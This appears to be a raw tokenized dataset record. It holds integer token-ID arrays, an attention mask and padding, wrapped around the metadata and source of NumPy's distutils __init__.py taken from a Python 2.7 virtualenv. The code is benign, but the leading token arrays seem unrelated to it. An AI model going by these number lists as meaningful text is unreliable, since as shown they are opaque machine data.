5213, 28, 9960, 1204, 259, 428, 17, 446, 7146, 6257, 10759, 489, 1204, 3001, 13, 6071, 1204, 259, 445, 18, 446, 6810, 1197, 13188, 489, 1204, 3001, 13, 6071, 1204, 259, 445, 18, 446, 7743, 21967, 5307, 489, 1204, 3001, 13, 6071, 1204, 259, 445, 18, 446, 11711, 4387, 359, 15078, 61, 489, 1204, 5213, 28, 9960, 1204, 259, 428, 18, 446, 7743, 21967, 5307, 489, 1204, 5213, 28, 9960, 1204, 259, 428, 18, 446, 11711, 4387, 359, 15078, 61, 339, 2136, 1240, 3520, 27028, 3398, 4652, 402, 3788, 26, 272, 6810, 38, 4040, 17, 12, 7146, 38, 4040, 17, 12, 6810, 38, 4040, 18, 436, 7146, 38, 4040, 18, 14, 339, 8777, 12213, 413, 14, 19, 12, 314, 14305, 4409, 1454, 413, 13, 50, 1481, 26, 339, 6810, 263, 7146, 489, 1204, 3001, 13, 6071, 1204, 259, 445, 17, 446, 6810, 6257, 489, 1204, 5213, 28, 9960, 1204, 259, 428, 17, 446, 7146, 6257, 489, 1204, 5213, 28, 9960, 1204, 259, 428, 17, 446, 12904, 359, 15078, 61, 489, 1204, 5213, 28, 9960, 1204, 259, 428, 17, 446, 12904, 7496, 359, 15078, 61, 489, 1204, 5213, 28, 9960, 1204, 259, 428, 17, 446, 11711, 4387, 359, 15078, 61, 489, 1204, 3001, 13, 6071, 1204, 259, 445, 18, 446, 11711, 4387, 359, 15078, 61, 339, 2136, 2934, 370, 3222, 4154, 3788, 687, 314, 2011, 289, 4040, 1006, 737, 5403, 4012, 314, 272, 2838, 14, 961, 365, 22175, 1354, 701, 28453, 282, 769, 402, 5767, 315, 283, 2738, 63, 548, 1370, 272, 2136, 1443, 5324, 9978, 3788, 334, 73, 14, 69, 14, 4052, 7329, 959, 11440, 4882, 314, 2777, 21495, 9, 272, 315, 314, 2011, 2777, 1380, 3962, 12, 1325, 781, 1443, 1929, 9978, 5767, 367, 314, 272, 2011, 289, 4040, 12, 465, 543, 6810, 38, 4040, 18, 14, 339, 9738, 12, 5317, 626, 314, 289, 27227, 687, 314, 26912, 5366, 1443, 506, 308, 8984, 336, 668, 590, 272, 9371, 12213, 5767, 436, 13488, 14593, 14, 961, 365, 10842, 781, 675, 282, 283, 362, 63, 2184, 63, 1328, 7, 272, 1083, 367, 4733, 316, 282, 769, 402, 3086, 3788, 12, 283, 2738, 63, 262, 1370, 13480, 666, 272, 1314, 965, 440, 5966, 2757, 11922, 465, 282, 12213, 2777, 365, 16204, 315, 283, 8902, 63, 262, 1370, 272, 408, 339, 347, 2198, 63, 589, 8, 277, 12, 3002, 4736, 29, 403, 12, 3002, 498, 29, 403, 12, 1011, 24459, 304, 398, 1613, 1547, 10224, 3358, 569, 265, 12, 291, 680, 1122, 63, 589, 3682, 24459, 9, 398, 291, 14, 3450, 275, 488, 267, 291, 14, 8902, 63, 262, 275, 330, 341, 267, 291, 14, 2738, 63, 262, 275, 942, 260, 327, 3520, 787, 283, 18047, 7, 6272, 5767, 267, 291, 14, 2738, 63, 548, 275, 942, 263, 327, 3520, 787, 5767, 398, 291, 14, 895, 63, 1730, 275, 488, 267, 291, 14, 895, 63, 20573, 275, 488, 260, 327, 642, 365, 9987, 314, 8839, 4565, 3644, 398, 340, 3002, 4736, 26, 288, 291, 14, 1662, 4736, 275, 11002, 84, 8, 1662, 4736, 9, 267, 587, 26, 288, 291, 14, 1662, 4736, 275, 488, 398, 340, 3002, 498, 26, 288, 291, 14, 1662, 498, 275, 8538, 86, 1197, 8, 1662, 498, 9, 267, 587, 26, 288, 291, 14, 1662, 498, 275, 488, 398, 291, 14, 3832, 275, 1022, 589, 14, 362, 480, 3832, 401, 715, 9, 339, 347, 664, 63, 2184, 63, 1328, 8, 277, 12, 2838, 63, 2593, 29, 18, 12, 7269, 29, 18, 304, 267, 408, 267, 710, 12016, 402, 314, 805, 365, 370, 1852, 2163, 1245, 8, 83, 9, 2808, 315, 267, 291, 14, 2738, 63, 262, 14, 982, 314, 769, 365, 440, 2701, 12, 6548, 365, 4224, 14, 982, 440, 12, 315, 267, 1865, 370, 5554, 652, 12, 314, 805, 4440, 314, 666, 2575, 2808, 315, 267, 291, 14, 8902, 63, 262, 687, 282, 4136, 1240, 436, 14442, 1405, 31801, 2337, 787, 8321, 370, 267, 2153, 8519, 282, 12213, 3644, 14, 19468, 2153, 261, 1522, 12, 314, 1564, 402, 314, 12213, 3644, 267, 334, 7007, 18906, 3788, 12, 503, 283, 18047, 358, 365, 11544, 370, 291, 14, 2738, 63, 262, 14, 398, 2136, 1172, 370, 18200, 8321, 666, 370, 2153, 8519, 282, 12213, 3644, 14, 2136, 1343, 701, 267, 7664, 314, 1642, 499, 2783, 14, 4158, 781, 664, 7003, 3365, 687, 267, 8522, 88, 1079, 1103, 88, 1644, 12, 8522, 88, 1046, 1103, 88, 1644, 12, 8522, 88 ]
[ 961, 570, 365, 1777, 402, 428, 2874, 89, 199, 3, 1898, 334, 35, 9, 10219, 12, 9079, 12, 8937, 1952, 3540, 1181, 662, 4982, 1005, 199, 3, 5185, 6900, 12, 7800, 12, 9708, 8228, 4894, 377, 18359, 199, 3, 961, 2240, 365, 3267, 1334, 282, 14629, 86, 18, 4190, 199, 199, 624, 199, 1918, 485, 10224, 3358, 569, 265, 1021, 6571, 3102, 2863, 370, 3865, 12213, 1890, 436, 1654, 14, 199, 624, 199, 199, 646, 2702, 199, 199, 504, 308, 2874, 89, 14, 2495, 569, 265, 492, 9195, 569, 265, 199, 504, 308, 2874, 89, 14, 888, 492, 3743, 199, 504, 308, 2874, 89, 14, 705, 492, 943, 63, 13543, 199, 504, 308, 2874, 89, 14, 6253, 492, 13480, 199, 504, 308, 2874, 89, 14, 4359, 14, 9945, 14, 1095, 955, 492, 485, 9945, 63, 466, 199, 504, 308, 2874, 89, 14, 4359, 14, 9945, 14, 4736, 492, 11002, 84, 12, 8538, 86, 1197, 199, 504, 308, 2874, 89, 14, 4359, 14, 9945, 14, 3059, 492, 12213, 199, 504, 308, 2874, 89, 14, 4359, 14, 9945, 14, 3059, 63, 4266, 86, 18, 492, 7799, 86, 18, 199, 504, 308, 2874, 89, 14, 4359, 14, 9945, 14, 3059, 63, 9945, 969, 492, 12213, 969, 421, 199, 533, 485, 10224, 3358, 569, 265, 8, 3358, 569, 265, 304, 272, 408, 272, 7799, 86, 19, 436, 12213, 413, 14, 16, 13, 17, 14, 18, 13609, 1929, 282, 499, 13, 50, 1481, 14305, 26, 339, 6810, 263, 7146, 489, 1204, 3001, 13, 6071, 1204, 259, 445, 17, 446, 6810, 6257, 489, 1204, 5213, 28, 9960, 1204, 259, 428, 17, 446, 7146, 6257, 489, 1204, 5213, 28, 9960, 1204, 259, 428, 17, 446, 12904, 489, 1204, 5213, 28, 9960, 1204, 259, 428, 17, 446, 7146, 1197, 13188, 489, 1204, 5213, 28, 9960, 1204, 259, 428, 17, 446, 7146, 6257, 10759, 489, 1204, 3001, 13, 6071, 1204, 259, 445, 18, 446, 6810, 1197, 13188, 489, 1204, 3001, 13, 6071, 1204, 259, 445, 18, 446, 7743, 21967, 5307, 489, 1204, 3001, 13, 6071, 1204, 259, 445, 18, 446, 11711, 4387, 359, 15078, 61, 489, 1204, 5213, 28, 9960, 1204, 259, 428, 18, 446, 7743, 21967, 5307, 489, 1204, 5213, 28, 9960, 1204, 259, 428, 18, 446, 11711, 4387, 359, 15078, 61, 339, 2136, 1240, 3520, 27028, 3398, 4652, 402, 3788, 26, 272, 6810, 38, 4040, 17, 12, 7146, 38, 4040, 17, 12, 6810, 38, 4040, 18, 436, 7146, 38, 4040, 18, 14, 339, 8777, 12213, 413, 14, 19, 12, 314, 14305, 4409, 1454, 413, 13, 50, 1481, 26, 339, 6810, 263, 7146, 489, 1204, 3001, 13, 6071, 1204, 259, 445, 17, 446, 6810, 6257, 489, 1204, 5213, 28, 9960, 1204, 259, 428, 17, 446, 7146, 6257, 489, 1204, 5213, 28, 9960, 1204, 259, 428, 17, 446, 12904, 359, 15078, 61, 489, 1204, 5213, 28, 9960, 1204, 259, 428, 17, 446, 12904, 7496, 359, 15078, 61, 489, 1204, 5213, 28, 9960, 1204, 259, 428, 17, 446, 11711, 4387, 359, 15078, 61, 489, 1204, 3001, 13, 6071, 1204, 259, 445, 18, 446, 11711, 4387, 359, 15078, 61, 339, 2136, 2934, 370, 3222, 4154, 3788, 687, 314, 2011, 289, 4040, 1006, 737, 5403, 4012, 314, 272, 2838, 14, 961, 365, 22175, 1354, 701, 28453, 282, 769, 402, 5767, 315, 283, 2738, 63, 548, 1370, 272, 2136, 1443, 5324, 9978, 3788, 334, 73, 14, 69, 14, 4052, 7329, 959, 11440, 4882, 314, 2777, 21495, 9, 272, 315, 314, 2011, 2777, 1380, 3962, 12, 1325, 781, 1443, 1929, 9978, 5767, 367, 314, 272, 2011, 289, 4040, 12, 465, 543, 6810, 38, 4040, 18, 14, 339, 9738, 12, 5317, 626, 314, 289, 27227, 687, 314, 26912, 5366, 1443, 506, 308, 8984, 336, 668, 590, 272, 9371, 12213, 5767, 436, 13488, 14593, 14, 961, 365, 10842, 781, 675, 282, 283, 362, 63, 2184, 63, 1328, 7, 272, 1083, 367, 4733, 316, 282, 769, 402, 3086, 3788, 12, 283, 2738, 63, 262, 1370, 13480, 666, 272, 1314, 965, 440, 5966, 2757, 11922, 465, 282, 12213, 2777, 365, 16204, 315, 283, 8902, 63, 262, 1370, 272, 408, 339, 347, 2198, 63, 589, 8, 277, 12, 3002, 4736, 29, 403, 12, 3002, 498, 29, 403, 12, 1011, 24459, 304, 398, 1613, 1547, 10224, 3358, 569, 265, 12, 291, 680, 1122, 63, 589, 3682, 24459, 9, 398, 291, 14, 3450, 275, 488, 267, 291, 14, 8902, 63, 262, 275, 330, 341, 267, 291, 14, 2738, 63, 262, 275, 942, 260, 327, 3520, 787, 283, 18047, 7, 6272, 5767, 267, 291, 14, 2738, 63, 548, 275, 942, 263, 327, 3520, 787, 5767, 398, 291, 14, 895, 63, 1730, 275, 488, 267, 291, 14, 895, 63, 20573, 275, 488, 260, 327, 642, 365, 9987, 314, 8839, 4565, 3644, 398, 340, 3002, 4736, 26, 288, 291, 14, 1662, 4736, 275, 11002, 84, 8, 1662, 4736, 9, 267, 587, 26, 288, 291, 14, 1662, 4736, 275, 488, 398, 340, 3002, 498, 26, 288, 291, 14, 1662, 498, 275, 8538, 86, 1197, 8, 1662, 498, 9, 267, 587, 26, 288, 291, 14, 1662, 498, 275, 488, 398, 291, 14, 3832, 275, 1022, 589, 14, 362, 480, 3832, 401, 715, 9, 339, 347, 664, 63, 2184, 63, 1328, 8, 277, 12, 2838, 63, 2593, 29, 18, 12, 7269, 29, 18, 304, 267, 408, 267, 710, 12016, 402, 314, 805, 365, 370, 1852, 2163, 1245, 8, 83, 9, 2808, 315, 267, 291, 14, 2738, 63, 262, 14, 982, 314, 769, 365, 440, 2701, 12, 6548, 365, 4224, 14, 982, 440, 12, 315, 267, 1865, 370, 5554, 652, 12, 314, 805, 4440, 314, 666, 2575, 2808, 315, 267, 291, 14, 8902, 63, 262, 687, 282, 4136, 1240, 436, 14442, 1405, 31801, 2337, 787, 8321, 370, 267, 2153, 8519, 282, 12213, 3644, 14, 19468, 2153, 261, 1522, 12, 314, 1564, 402, 314, 12213, 3644, 267, 334, 7007, 18906, 3788, 12, 503, 283, 18047, 358, 365, 11544, 370, 291, 14, 2738, 63, 262, 14, 398, 2136, 1172, 370, 18200, 8321, 666, 370, 2153, 8519, 282, 12213, 3644, 14, 2136, 1343, 701, 267, 7664, 314, 1642, 499, 2783, 14, 4158, 781, 664, 7003, 3365, 687, 267, 8522, 88, 1079, 1103, 88, 1644, 12, 8522, 88, 1046, 1103, 88, 1644, 12, 8522, 88, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
xionzz/earthquake
venv/lib/python2.7/site-packages/numpy/distutils/__init__.py
59
1074
from __future__ import division, absolute_import, print_function import sys if sys.version_info[0] < 3: from .__version__ import version as __version__ # Must import local ccompiler ASAP in order to get # customized CCompiler.spawn effective. from . import ccompiler from . import unixccompiler from .info import __doc__ from .npy_pkg_config import * try: import __config__ _INSTALLED = True except ImportError: _INSTALLED = False else: from numpy.distutils.__version__ import version as __version__ # Must import local ccompiler ASAP in order to get # customized CCompiler.spawn effective. import numpy.distutils.ccompiler import numpy.distutils.unixccompiler from numpy.distutils.info import __doc__ from numpy.distutils.npy_pkg_config import * try: import numpy.distutils.__config__ _INSTALLED = True except ImportError: _INSTALLED = False if _INSTALLED: from numpy.testing import Tester test = Tester().test bench = Tester().bench
mit
[ 504, 636, 2443, 363, 492, 4629, 12, 3679, 63, 646, 12, 870, 63, 1593, 199, 199, 646, 984, 199, 199, 692, 984, 14, 1023, 63, 815, 59, 16, 61, 665, 650, 26, 272, 687, 221, 855, 1023, 363, 492, 1015, 465, 636, 1023, 363, 272, 327, 9498, 492, 2257, 286, 5772, 4319, 1282, 315, 1865, 370, 664, 272, 327, 26707, 445, 9131, 14, 10212, 15826, 14, 272, 687, 1275, 492, 286, 5772, 272, 687, 1275, 492, 16572, 67, 5772, 339, 687, 1275, 815, 492, 636, 1301, 363, 272, 687, 1275, 20245, 63, 4600, 63, 888, 492, 627, 339, 862, 26, 267, 492, 636, 888, 363, 267, 485, 15942, 275, 715, 272, 871, 3545, 26, 267, 485, 15942, 275, 756, 199, 2836, 26, 272, 687, 2680, 14, 13350, 855, 1023, 363, 492, 1015, 465, 636, 1023, 363, 272, 327, 9498, 492, 2257, 286, 5772, 4319, 1282, 315, 1865, 370, 664, 272, 327, 26707, 445, 9131, 14, 10212, 15826, 14, 272, 492, 2680, 14, 13350, 14, 67, 5772, 272, 492, 2680, 14, 13350, 14, 11864, 67, 5772, 339, 687, 2680, 14, 13350, 14, 815, 492, 636, 1301, 363, 272, 687, 2680, 14, 13350, 14, 20245, 63, 4600, 63, 888, 492, 627, 339, 862, 26, 267, 492, 2680, 14, 13350, 855, 888, 363, 267, 485, 15942, 275, 715, 272, 871, 3545, 26, 267, 485, 15942, 275, 756, 199, 199, 692, 485, 15942, 26, 272, 687, 2680, 14, 4776, 492, 377, 17338, 272, 511, 275, 377, 17338, 1252, 396, 272, 26456, 275, 377, 17338, 1252, 16571, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 636, 2443, 363, 492, 4629, 12, 3679, 63, 646, 12, 870, 63, 1593, 199, 199, 646, 984, 199, 199, 692, 984, 14, 1023, 63, 815, 59, 16, 61, 665, 650, 26, 272, 687, 221, 855, 1023, 363, 492, 1015, 465, 636, 1023, 363, 272, 327, 9498, 492, 2257, 286, 5772, 4319, 1282, 315, 1865, 370, 664, 272, 327, 26707, 445, 9131, 14, 10212, 15826, 14, 272, 687, 1275, 492, 286, 5772, 272, 687, 1275, 492, 16572, 67, 5772, 339, 687, 1275, 815, 492, 636, 1301, 363, 272, 687, 1275, 20245, 63, 4600, 63, 888, 492, 627, 339, 862, 26, 267, 492, 636, 888, 363, 267, 485, 15942, 275, 715, 272, 871, 3545, 26, 267, 485, 15942, 275, 756, 199, 2836, 26, 272, 687, 2680, 14, 13350, 855, 1023, 363, 492, 1015, 465, 636, 1023, 363, 272, 327, 9498, 492, 2257, 286, 5772, 4319, 1282, 315, 1865, 370, 664, 272, 327, 26707, 445, 9131, 14, 10212, 15826, 14, 272, 492, 2680, 14, 13350, 14, 67, 5772, 272, 492, 2680, 14, 13350, 14, 11864, 67, 5772, 339, 687, 2680, 14, 13350, 14, 815, 492, 636, 1301, 363, 272, 687, 2680, 14, 13350, 14, 20245, 63, 4600, 63, 888, 492, 627, 339, 862, 26, 267, 492, 2680, 14, 13350, 855, 888, 363, 267, 485, 15942, 275, 715, 272, 871, 3545, 26, 267, 485, 15942, 275, 756, 199, 199, 692, 485, 15942, 26, 272, 687, 2680, 14, 4776, 492, 377, 17338, 272, 511, 275, 377, 17338, 1252, 396, 272, 26456, 275, 377, 17338, 1252, 16571, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 